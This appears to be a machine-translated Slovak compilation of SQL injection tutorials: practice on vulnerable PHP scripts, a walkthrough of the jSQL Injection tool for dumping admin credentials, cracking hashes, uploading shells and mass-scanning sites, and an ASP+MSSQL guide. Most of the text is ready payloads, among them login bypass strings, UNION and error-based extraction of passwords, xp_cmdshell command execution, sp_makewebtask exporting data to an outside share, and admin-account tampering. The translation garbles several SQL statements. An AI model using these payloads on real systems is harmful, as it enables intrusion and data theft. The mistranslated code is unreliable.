Program na vyhľadávanie sql injection. Návod na používanie jSQL Injection, multifunkčného nástroja na vyhľadávanie a využívanie SQL injekcií v Kali Linuxe. Čo ak nenájdete stránku, ktorá používa vstup

S pozdravom čitateľ. V poslednom čase som sa zaujímal o webovú bezpečnosť a do istej miery s tým súvisí aj moja práca. Pretože Čoraz častejšie som si začal všímať témy na rôznych fórach, ktoré sa ich pýtali, aby ukázali, ako to celé funguje, a tak som sa rozhodol napísať článok. Článok bude zameraný na tých, ktorí sa s tým nestretli, no chceli by sa poučiť. Článkov na túto tému je na internete pomerne veľa, no pre začiatočníkov sú trochu komplikované. Pokúsim sa všetko opísať jasným jazykom a podrobnými príkladmi.

Predslov

Aby ste porozumeli tomuto článku, nepotrebujete v skutočnosti znalosti jazyka SQL, ale aspoň dobrú trpezlivosť a trochu mozgu na zapamätanie.

Verím, že len prečítanie článku nebude stačiť, pretože... potrebujeme živé príklady - ako viete, prax v procese zapamätania nie je nikdy zbytočná. Preto budeme písať zraniteľné skripty a trénovať na nich.

Čo je SQL injection?
Zjednodušene povedané, ide o útok na databázu, ktorý vám umožní vykonať nejakú akciu, ktorú tvorca scenára neplánoval. Príklad zo života:

Otec napísal v poznámke svojej matke, aby dala Vasyovi 100 rubľov a položila ju na stôl. Prepracovaním do komiksového jazyka SQL dostaneme:
Vezmi 100 RUBOV Z PEŇAŽENKY A DAJ ICH Vasyovi

Keďže otec napísal poznámku zle (nemotorný rukopis) a nechal ju na stole, Vasyov brat Petya to videl. Petya ako hacker tam pridala „ALEBO Pete“ a výsledkom bola nasledujúca požiadavka:
Vezmi 100 RUBĽOV Z PEŇAŽENKY A DAJ ICH Vasyovi ALEBO Petyovi

Mama sa po prečítaní poznámky rozhodla, že včera dala peniaze Vasyovi a Petyovi dala 100 rubľov. Tu je jednoduchý príklad SQL injection zo života:) Bez filtrovania údajov (mama sotva rozumela rukopisu) Peťo zarobil.

Príprava
Na precvičenie budete potrebovať archív so zdrojovými skriptami k tomuto článku. Stiahnite si ho a rozbaľte na serveri. Taktiež importujte databázu a nastavte údaje v súbore cfg.php

Search SQL injection

Ako ste už pochopili, injekcia pochádza z prichádzajúcich údajov, ktoré nie sú filtrované. Najčastejšou chybou je nefiltrovanie prenášaného ID. Zhruba povedané, uvádzajte úvodzovky do všetkých polí. Či už je to žiadosť GET/POST alebo dokonca súbor cookie!

Numerický vstupný parameter
Na precvičenie potrebujeme scenár index1.php. Ako som povedal vyššie, do ID správ vkladáme úvodzovky.

Pretože Naša požiadavka nemá žiadne filtrovanie:

$id = $_GET["id"]; $dotaz = "VYBRAŤ * Z noviniek WHERE id=$id";

Scenár to pochopí ako

SELECT * FROM news WHERE id=1"

A vypíše nám to chybu:
Upozornenie: mysql_fetch_array() očakáva, že parameter 1 bude zdrojom, boolovský daný v C:\WebServ\domains\sqlinj\index1.php v riadku 16

Ak sa chyba nezobrazí, môžu to byť nasledujúce dôvody:

1. SQL injection tu nie je – úvodzovky sú filtrované, alebo sa na to jednoducho oplatí previesť (int)
2. Chybový výstup je vypnutý.

Ak sa vám stále zobrazuje chyba - Hurá! Našli sme prvý typ SQL injection – Numerický vstupný parameter.

Vstupný parameter reťazca

Žiadosti budeme posielať na index2.php. V tomto súbore vyzerá žiadosť takto:
$user = $_GET["používateľ"]; $query = "VYBRAŤ * Z noviniek WHERE user="$user"";

Tu vyberáme novinky podľa používateľského mena a opäť nefiltrujeme.
Opäť posielame žiadosť s cenovou ponukou:

Vyskytla sa chyba. OK! To znamená, že existuje zraniteľnosť. Na začiatok nám to stačí – poďme cvičiť.

Poďme konať

Trochu teórie

Pravdepodobne sa nemôžete dočkať, kedy z toho dostanete niečo iné ako chyby. Najprv pochopte, že znak " -- “ sa v SQL považuje za komentár.

POZOR! Pred a za ním musia byť medzery. V URL sú prenášané ako %20

Všetko, čo nasleduje po komentári, sa zahodí, teda žiadosť:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Podarí sa to. Môžete to vyskúšať na skripte index2.php odoslaním požiadavky, ako je táto:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Naučte sa parameter UNION. V jazyku SQL kľúčové slovo UNION používa sa na spojenie výsledkov dvoch SQL dotazov do jednej tabuľky. To znamená, aby sme z iného stola vytiahli niečo, čo potrebujeme.

Využime to

Ak je parameter „Číselný“, nemusíme v žiadosti posielať cenovú ponuku a na koniec samozrejme uvádzame komentár. Vráťme sa k scenáru index1.php.

Obráťme sa na skript sqlinj/index1.php?id=1 UNION SELECT 1 . Náš databázový dotaz vyzerá takto:
SELECT * FROM news WHERE id=1 UNION SELECT 1
A dal nám chybu, pretože... na prácu so zlučovacími dopytmi potrebujeme rovnaký počet polí.

Pretože Ich počet nemôžeme ovplyvniť v prvej požiadavke, potom musíme ich počet vybrať v druhej tak, aby sa rovnal prvej.

Výber počtu polí

Výber polí je veľmi jednoduchý, stačí poslať nasledujúce požiadavky:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Chyba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opäť chyba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Žiadna chyba! To znamená, že počet stĺpcov je 5.

GROUP BY
Často sa stáva, že ich môže byť 20 alebo 40 alebo dokonca 60, aby sme ich nemuseli zakaždým triediť GROUP BY

Ak žiadosť
sqlinj/index1.php?id=1 GROUP BY 2
nezobrazilo žiadne chyby, čo znamená, že počet polí je väčší ako 2. Skúsme:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, vidíme chybu, to znamená, že počet polí je menší ako 8.

Ak sa pri GROUP BY 4 nevyskytla chyba a pri GROUP BY 6 je chyba, potom je počet polí 5

Definovanie výstupných stĺpcov
Aby sa nám od prvej požiadavky nič nezobrazilo, stačí nahradiť neexistujúce ID, napríklad:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Touto akciou sme určili, ktoré stĺpce sa zobrazia na stránke. Teraz, aby ste tieto čísla nahradili potrebnými informáciami, musíte pokračovať v žiadosti.

Dátový výstup

Povedzme, že vieme, že tabuľka stále existuje používateľov v ktorých polia existujú id, názov A prejsť.
Potrebujeme získať informácie o používateľovi s ID=1

Preto zostavme nasledujúci dotaz:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Skript tiež pokračuje vo výstupe

Za týmto účelom nahradíme názvy polí namiesto čísel 1 a 3

Sqlinj/index1.php?id=-1 názov UNION SELECT,2,pass,4,5 FROM users WHERE id=1
Dostali sme, čo sme potrebovali!

Pre "vstupný parameter reťazca" ako v skripte index2.php na začiatok treba pridať úvodzovky a na koniec komentár. Príklad:
sqlinj/index2.php?user=-1" názov UNION SELECT,2,pass,4,5 FROM users WHERE id=1 --%20

Čítanie/zápis súborov

Ak chcete čítať a zapisovať súbory, používateľ databázy musí mať práva FILE_PRIV.
Nahrávanie súborov
V skutočnosti je všetko veľmi jednoduché. Na zápis súboru použijeme funkciu OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 DO OUTFILE "1.php" --%20
Skvelé, súbor bol u nás zaregistrovaný. Takto môžeme naplniť mini-škrupinu:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 DO OUTFILE "1.php" --%20
Čítanie súborov
Čítanie súborov je ešte jednoduchšie ako písanie. Funkciu stačí jednoducho použiť LOAD_FILE, pre miesto poľa, ktoré vyberieme:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Takto sme si prečítali predchádzajúci zapísaný súbor.

Spôsoby ochrany

Chrániť sa je ešte jednoduchšie ako využiť zraniteľnosť. Stačí filtrovať údaje. Ak odovzdávate čísla, použite
$id = (int) $_GET["id"];
Ako navrhol používateľ malroc. Chráňte sa pomocou CHOP alebo pripravených výpisov.

Namiesto dokončenia

Tu chcem dokončiť svoju prvú časť o „injekcii SQL pre začiatočníkov“. V druhej časti sa pozrieme na závažnejšie príklady injekcií. Skúste písať zraniteľné skripty a vykonávať dotazy sami.
A pamätajte, neverte žiadnemu používateľovi vašej stránky.

Spustite stiahnutý súbor dvojitým kliknutím (potrebujete mať virtuálny stroj).

3. Anonymita pri kontrole stránky pre SQL injection

Nastavenie Tor a Privoxy v Kali Linuxe

[Sekcia vo vývoji]

Nastavenie Tor a Privoxy v systéme Windows

[Sekcia vo vývoji]

Nastavenia proxy v jSQL Injection

[Sekcia vo vývoji]

4. Kontrola stránky pre SQL injection pomocou jSQL Injection

Práca s programom je mimoriadne jednoduchá. Stačí zadať adresu webovej stránky a stlačiť ENTER.

Nasledujúca snímka obrazovky ukazuje, že stránka je zraniteľná voči trom typom injekcií SQL (informácie o nich sú uvedené v pravom dolnom rohu). Kliknutím na názvy injekcií môžete prepínať použitú metódu:

Taktiež sa nám už zobrazili existujúce databázy.

Obsah každej tabuľky si môžete pozrieť:

Najzaujímavejšou vecou na tabuľkách sú zvyčajne poverenia správcu.

Ak budete mať šťastie a nájdete údaje správcu, je priskoro na radosť. Stále musíte nájsť admin panel, kam zadať tieto údaje.

5. Hľadajte admin panely pomocou jSQL Injection

Ak to chcete urobiť, prejdite na ďalšiu kartu. Tu nás privíta zoznam možných adries. Na kontrolu môžete vybrať jednu alebo viac stránok:

Pohodlie spočíva v tom, že nemusíte používať ďalšie programy.

Bohužiaľ, nie je veľa neopatrných programátorov, ktorí ukladajú heslá v čistom texte. Pomerne často v riadku hesla vidíme niečo ako

8743b52063cd84097a65d1633f5c74f5

Toto je hash. Môžete ho dešifrovať pomocou hrubej sily. A... jSQL Injection má vstavaný brute force.

6. Hrubá sila hash pomocou jSQL Injection

Nepochybným pohodlím je, že nemusíte hľadať ďalšie programy. Existuje podpora pre mnohé z najpopulárnejších hashov.

Toto nie je najlepšia možnosť. Aby ste sa stali guruom v dekódovaní hashov, odporúča sa kniha „“ v ruštine.

Ale samozrejme, keď nie je po ruke iný program alebo nie je čas na štúdium, veľmi vhod príde jSQL Injection so vstavanou funkciou hrubej sily.

Existujú nastavenia: môžete nastaviť, ktoré znaky sú zahrnuté v hesle, rozsah dĺžky hesla.

7. Operácie so súbormi po zistení injekcií SQL

Okrem operácií s databázami - ich čítanie a úprava, ak sa zistia injekcie SQL, možno vykonať nasledujúce operácie so súbormi:

  • čítanie súborov na serveri
  • nahrávanie nových súborov na server
  • nahrávanie shellov na server

A to všetko je implementované v jSQL Injection!

Existujú obmedzenia - server SQL musí mať práva na súbory. Správcovia inteligentných systémov ich deaktivovali a nebudú môcť získať prístup k súborovému systému.

Prítomnosť privilégií k súborom sa kontroluje pomerne jednoducho. Prejdite na jednu zo záložiek (čítanie súborov, vytvorenie shellu, nahranie nového súboru) a skúste vykonať jednu zo zadaných operácií.

Ešte veľmi dôležitá poznámka – musíme poznať presnú absolútnu cestu k súboru, s ktorým budeme pracovať – inak nebude fungovať nič.

Pozrite si nasledujúcu snímku obrazovky:

Na akýkoľvek pokus o prácu so súborom dostaneme nasledujúcu odpoveď: Žiadne privilégium FILE(žiadne privilégiá k súborom). A tu sa nedá nič robiť.

Ak namiesto toho máte inú chybu:

Problém so zápisom do [názov_adresára]

To znamená, že ste nesprávne zadali absolútnu cestu, kam chcete súbor zapísať.

Aby ste uhádli absolútnu cestu, musíte aspoň poznať operačný systém, na ktorom server beží. Ak to chcete urobiť, prejdite na kartu Sieť.

Takýto záznam (riadok Win64) nám dáva dôvod predpokladať, že máme čo do činenia s OS Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Pripojenie: Keep-Alive Metóda: HTTP/1.1 200 OK Obsah-Dĺžka: 353 Dátum: Pia, 11. decembra 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; znaková sada=UTF-8

Tu máme nejaký Unix (*BSD, Linux):

Transfer-Encoding: chunked Dátum: Pi, 11 Dec 2015 11:57:02 GMT Metóda: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Poháňané: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

A tu máme CentOS:

Metóda: HTTP/1.1 200 OK Vyprší: štvrtok, 19. novembra 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Pripojenie: keep-alive X-Cache-Lookup: MISS z t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS z t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Pi, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

V systéme Windows je typický priečinok pre lokality C:\Server\data\htdocs\. Ale v skutočnosti, ak niekto „uvažoval“ o vytvorení servera v systéme Windows, potom je veľmi pravdepodobné, že táto osoba nepočula nič o privilégiách. Preto by ste mali začať skúšať priamo z adresára C:/Windows/:

Ako vidíte, všetko prebehlo v poriadku na prvýkrát.

Ale samotné shelly jSQL Injection vyvolávajú v mojej mysli pochybnosti. Ak máte privilégiá k súborom, môžete jednoducho niečo nahrať pomocou webového rozhrania.

8. Hromadná kontrola stránok pre SQL injekcie

A dokonca aj táto funkcia je dostupná v jSQL Injection. Všetko je veľmi jednoduché - stiahnite si zoznam stránok (môžete importovať zo súboru), vyberte tie, ktoré chcete skontrolovať, a kliknutím na príslušné tlačidlo spustite operáciu.

Záver z jSQL Injection

jSQL Injection je dobrý a výkonný nástroj na vyhľadávanie a následné použitie injekcií SQL, ktoré sa nachádzajú na webových stránkach. Jeho nesporné výhody: jednoduché použitie, vstavané súvisiace funkcie. jSQL Injection môže byť najlepším priateľom začiatočníka pri analýze webových stránok.

Medzi nedostatky by som poznamenal nemožnosť editácie databáz (aspoň ja som túto funkcionalitu nenašiel). Ako pri všetkých nástrojoch GUI, jednu z nevýhod tohto programu možno pripísať jeho nemožnosti použiť v skriptoch. Napriek tomu je v tomto programe možná aj určitá automatizácia - vďaka vstavanej funkcii hromadnej kontroly stránok.

Program jSQL Injection sa používa oveľa pohodlnejšie ako sqlmap. Ale sqlmap podporuje viac typov SQL injekcií, má možnosti pre prácu so súborovými firewallmi a niektoré ďalšie funkcie.

Zrátané a podčiarknuté: jSQL Injection je najlepší priateľ začínajúceho hackera.

Pomoc pre tento program v Kali Linux Encyklopédii nájdete na tejto stránke: http://kali.tools/?p=706

SQL Injection pre figuríny, hackovanie ASP+MSSQL

Alexander Antipov

Tento článok neobsahuje žiadne nové pravdy. SQL injection je široko popísaný a používaný všade. Článok je skôr určený pre začiatočníkov, no snáď sa profesionálom podarí nájsť jeden či dva nové triky.


Tento článok má pomôcť nováčikom vyrovnať sa s problémami, s ktorými sa môžu stretnúť pri používaní techniky SQL Injection, úspešne ju použiť a vedieť sa pred takýmito útokmi chrániť.

Úvod

Keď má záujmový server otvorený iba port 80 a skener zraniteľnosti nemôže hlásiť nič zaujímavé a vy viete, že správca systému vždy veľmi rýchlo nainštaluje všetky záplaty na webový server, naša posledná šanca je webový hacking. SQL injection je jedným z typov web hackingu, ktorý používa iba port 80 a môže fungovať, aj keď sú záplaty nainštalované včas. Tento útok je viac zameraný na webové aplikácie (ako ASP, JSP, PHP, CGI atď.), ako priamo na webový server alebo služby v OS.

Tento článok neobsahuje žiadne nové pravdy. SQL injection je široko popísaný a používaný všade. Článok je skôr určený pre začiatočníkov, no snáď sa profesionálom podarí nájsť jeden či dva nové triky. Odporúčam tiež pozrieť si odkazy na konci článku, kde nájdete podrobnejšie informácie od odborníkov v danej oblasti.

1.1 Čo je SQL Injection?

SQL Injection je metóda navrhnutá na vkladanie SQL dotazov/príkazov cez webové stránky. Mnoho webových stránok používa parametre prezentované používateľom webu a vytvára SQL dotaz do databázy. Zoberme si napríklad prípad prihlásenia užívateľa, kedy existuje webová stránka s menom a heslom a v databáze je vykonaný SQL dotaz na kontrolu, či existuje registrovaný užívateľ s týmto menom a heslom. Pomocou SQL Injection je možné poslať vytvorené pole pre meno a/alebo heslo, ktoré upraví SQL dotaz, čo nám môže poskytnúť zaujímavé veci.

2.0 Čo by sme mali hľadať

Skúste nájsť stránky, ktoré od vás žiadajú údaje, ako napríklad stránka vyhľadávania, diskusná stránka atď. Niekedy html stránky používajú metódu POST na odosielanie príkazov na inú webovú stránku. V tomto prípade neuvidíte parametre v adrese URL. V tomto prípade však môžete v zdrojovom kóde HTML stránok hľadať značku „FORM“. Nájdete niečo takéto:



Všetky parametre medzi

A
môže byť potenciálne zraniteľný voči SQL injection.

2.1 Čo ak nenájdete stránku, ktorá používa vstup?

Hľadajte stránky ako ASP, JSP, CGI alebo webové stránky PHP. Skúste nájsť stránky, ktoré používajú parametre ako:

3.0. Ako môžem skontrolovať, či je to, čo som našiel, zraniteľné?

Skúste začať jedným citátom. Zadajte nasledujúci riadok:

ahoj" alebo 1=1--

v poli používateľského mena alebo hesla alebo dokonca v parametri URL. Príklad:

Prihlásenie: ahoj" alebo 1=1--
Pass: ahoj" alebo 1=1--
http://duck/index.asp?id=hi" alebo 1=1--

Ak ste to urobili so skrytým poľom, stiahnite si pôvodný kód HTML, uložte ho na pevný disk a podľa toho zmeňte adresu URL a skryté pole. Príklad:



Ak je šťastie na vašej strane, budete sa môcť prihlásiť bez používateľského mena alebo hesla.

3.1 Ale prečo "alebo 1=1--?

Pozrime sa na ďalší príklad, ktorý vysvetľuje užitočnosť konštrukcie „ alebo 1=1--. Okrem obídenia registrácie sa môžeme pozrieť aj na ďalšie informácie, ktoré nie sú zvyčajne dostupné. Predstavte si stránku asp, ktorá odkazuje na inú stránku s nasledujúca adresa URL:

http://duck/index.asp?category=food

V adrese URL je „kategória“ názov premennej a „jedlo“ je hodnota priradená tejto premennej. Ak to chcete urobiť, stránka asp môže obsahovať nasledujúci kód:

v_cat = request("kategória")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

ako vidíte, naša premenná bude kombinovaná s v_cat a teda SQL dotaz by mal byť:

VYBERTE * Z produktu WHERE PCategory="food"

Tento dotaz musí vrátiť množinu obsahujúcu jeden alebo viac riadkov, ktoré zodpovedajú klauzule WHERE, v tomto prípade „jedlo“. Teraz zmeňte adresu URL takto:

http://duck/index.asp?category=food" alebo 1=1--
SELECT * FROM product WHERE PCategory="food" alebo 1=1--'

Tento dotaz vráti všetky riadky v tabuľke produktov bez ohľadu na to, či je Pcategory "jedlo" alebo nie. Dvojitá pomlčka „-“ hovorí MS SQL Server, aby ignoroval zvyšok dotazu, ktorý nasleduje po jednoduchých úvodzovkách (“). Niekedy môžete dvojitú pomlčku nahradiť ostrým „#“.

Ak však používate server iný ako SQL alebo nemôžete ignorovať zvyšok dotazu, skúste:

" alebo "a"="a

Teraz bude SQL dotaz:

VYBERTE * Z produktu WHERE PCategory="food" alebo "a"="a"

Tento dotaz vráti rovnaký výsledok.

V závislosti od aktuálneho dotazu SQL možno budete musieť vyskúšať niektoré z týchto možností:

"alebo 1=1--
"alebo 1=1--
alebo 1=1--
" alebo "a"="a
" alebo "a"="a
") alebo ("a"="a

4.0 Ako môžem vykonávať príkazy na diaľku pomocou SQL injection?

Možnosť zadať príkaz SQL zvyčajne znamená, že môžeme ľubovoľne vykonávať SQL dotazy. Štandardná inštalácia MS SQL Server beží so systémovými právami. Môžeme volať vstavané procedúry ako master..xp_cmdshell na vzdialené vykonávanie ľubovoľných príkazov:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Skúste použiť dvojité úvodzovky ("), ak (") nefunguje.

Bodkočiarka ukončí aktuálny SQL dotaz a umožní vám spúšťať nové SQL príkazy. Ak chcete skontrolovať, či bol príkaz úspešný, môžete skontrolovať pakety ICMP v 10.10.1.2 a zistiť, či neobsahujú pakety zo zraniteľného servera:

http://site/?ID=31610

Ak zo servera nedostanete žiadnu požiadavku ping a dostanete chybovú správu označujúcu chybu povolenia, je možné, že administrátor obmedzil prístup webového používateľa k uloženým procedúram.

5.0 Ako získam výsledky môjho dotazu SQL?

Na napísanie požiadavky v HTML môžete použiť sp_makewebtask:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "VYBERTE * Z INFORMAČNÝCH_SCHÉMOV.TABUĽKY"

Zadaná adresa IP musí mať priečinok „share“ s prístupom pre všetkých.

6.0 Ako získať údaje z databázy pomocou chybových správ ODBC?

Na získanie akýchkoľvek údajov môžeme použiť informácie z chybového hlásenia vytvoreného serverom SQL. Zvážte napríklad nasledujúcu stránku:

http://duck/index.asp?id=10

Teraz sa pokúsime spojiť celé číslo „10“ s iným riadkom v databáze:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Systémová tabuľka INFORMATION_SCHEMA.TABLES obsahuje informácie zo všetkých tabuliek na serveri.

Pole TABLE_NAME samozrejme obsahuje názov každej tabuľky v databáze. Bol vybraný, pretože vieme, že vždy existuje. Naša požiadavka:

VYBERTE 1 TOP TABLE_NAME Z INFORMAČNÉHO SCHÉMATU.TABLES--

Tento dotaz vráti krstné meno v databáze. Keď zjednotíme túto hodnotu reťazca na celé číslo 10, MS SQL Server sa pokúsi previesť reťazec nvarchar na celé číslo. Toto vyvolá chybu, že nemôže previesť nvarchar na int. Server zobrazí nasledujúcu chybu:


Chyba syntaxe pri prevode hodnoty nvarchar "table1" to a column of data type int. !}
/index.asp, riadok 5

Chybové hlásenie obsahuje informácie o hodnote, ktorú nemožno previesť na celé číslo. V tomto prípade sme dostali názov prvej tabuľky - "tabuľka1".

Na získanie názvu ďalšej tabuľky môžeme použiť nasledujúci dotaz:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Údaje môžeme vyhľadávať aj pomocou klávesu LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME Z INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07" Chyba syntaxe pri prevode hodnoty nvarchar "admin_login" to a column of data type int. !} /index.asp, riadok 5

Zodpovedajúca konštrukcia "%25login%25" bude nahradená %login% na serveri SQL. V tomto prípade dostaneme názov tabuľky, ktorý zodpovedá kritériu „admin_login“.

6.1 Ako zistím všetky názvy stĺpcov v tabuľke?

Na zobrazenie všetkých názvov stĺpcov v tabuľke môžeme použiť tabuľku INFORMATION_SCHEMA.COLUMNS:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "login_id" to a column of data type int. !}
/index.asp, riadok 5

Teraz, keď poznáme názov prvého stĺpca, môžeme použiť NOT IN() na získanie názvu ďalšieho stĺpca:

http://duck/index.asp?id=10 UNION VYBERTE NÁZOV 1. STĹPCA Z INFORMAČNÉHO SCHÉMU.COLUMNS WHERE TABLE_NAME="admin_login" KDE NIE JE VSTUPNÝ NÁZOV STĹPCA ("login_id")-

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "login_name" to a column of data type int. !}
/index.asp, riadok 5

Pokračovaním získame zvyšok názvov stĺpcov, t.j. "heslo", "detaily", kým nedostaneme nasledujúcu chybu.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" KDE NIE JE NÁZOV STĹPCA ("login_id","login_name","password",details")--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e14"
Položky ORDER BY sa musia objaviť vo výberovom zozname, ak výpis obsahuje operátor UNION.
/index.asp, riadok 5

6.2. Ako získame údaje, ktoré potrebujeme?

Teraz, keď sme identifikovali niektoré dôležité tabuľky, môžeme použiť rovnakú techniku ​​na získanie informácií z databázy.

Poďme získať prvé prihlasovacie meno z tabuľky „admin_login“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "neo" to a column of data type int. !}
/index.asp, riadok 5

Teraz vieme, že existuje používateľ admin s prihlasovacím menom "neo". Nakoniec môžeme získať heslo „neo“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 heslo OD admin_login kde login_name="neo"--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "m4trix" to a column of data type int. !}
/index.asp, riadok 5

Teraz sa budeme môcť prihlásiť ako „neo“ s heslom „m4trix“.

6.3 Ako získať číselnú hodnotu reťazca?

Vo vyššie opísanej metóde existuje obmedzenie. Nebudeme môcť dostať chybové hlásenie, ak sa pokúsime konvertovať text, ktorý pozostáva z čísla (len znaky medzi 0...9). Teraz popíšeme získanie hesla „31173“ od používateľa „trinity“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 heslo OD admin_login kde login_name="trinity"--

Pravdepodobne sa nám zobrazí chyba „Stránka sa nenašla“. Dôvodom je, že heslo "31173" bude prevedené na číslo pred UNION s celým číslom (v našom prípade 10). Keďže výraz UNION je správny, SQL server nevygeneruje chybové hlásenie a tým pádom nebudeme môcť získať číselný záznam.

Aby sme tento problém vyriešili, môžeme na koniec pridať číselný reťazec s niekoľkými písmenami, aby sme zabránili konverzii. Upravená požiadavka:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Jednoducho použijeme znamienko plus (+) na pripojenie hesla k ľubovoľnému textu (kódovanie ASCII pre „+“ = 0x2b). Ďalej na koniec skutočného hesla pripojíme „%20morpheus“. Takže aj keď je hodnota hesla "31173", stane sa "31173 morpheus". Pri manuálnom volaní funkcie convert() pri pokuse o konverziu „31173 morpheus“ na celé číslo SQL Server vyvolá chybové hlásenie ODBC:

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, riadok 5

Teraz sa budeme môcť prihlásiť ako „trinity“ s heslom „31173“.

7.0 Ako upraviť/vložiť údaje do databázy?

Keď už máme mená všetkých podľa stĺpcov v tabuľke, môžeme aktualizovať (UPDATE) alebo dokonca vložiť (INSERT) nový záznam do tabuľky. Napríklad môžeme zmeniť heslo pre „neo“:

http://duck/index.asp?id=10; AKTUALIZÁCIA "admin_login" SET "password" = "newpas5" KDE login_name="neo--

VLOŽENIE nového záznamu do databázy:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Teraz sa budeme môcť prihlásiť ako „neo“ s heslom „newpas5“.

8.0 Ako sa vyhnúť SQL Injection?

Filtrovať špeciálne znaky vo všetkých riadkoch v:

Akékoľvek údaje zadané používateľom
- parametre adresy URL
- Cookie

V prípade číselných hodnôt ich pred odovzdaním do dotazu SQL skonvertujte na celé číslo. Alebo použite ISNUMERIC, aby ste sa uistili, že ide o celé číslo.

Spustite SQL Server ako neprivilegovaný používateľ.

Odstráňte nepoužívané uložené procedúry: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask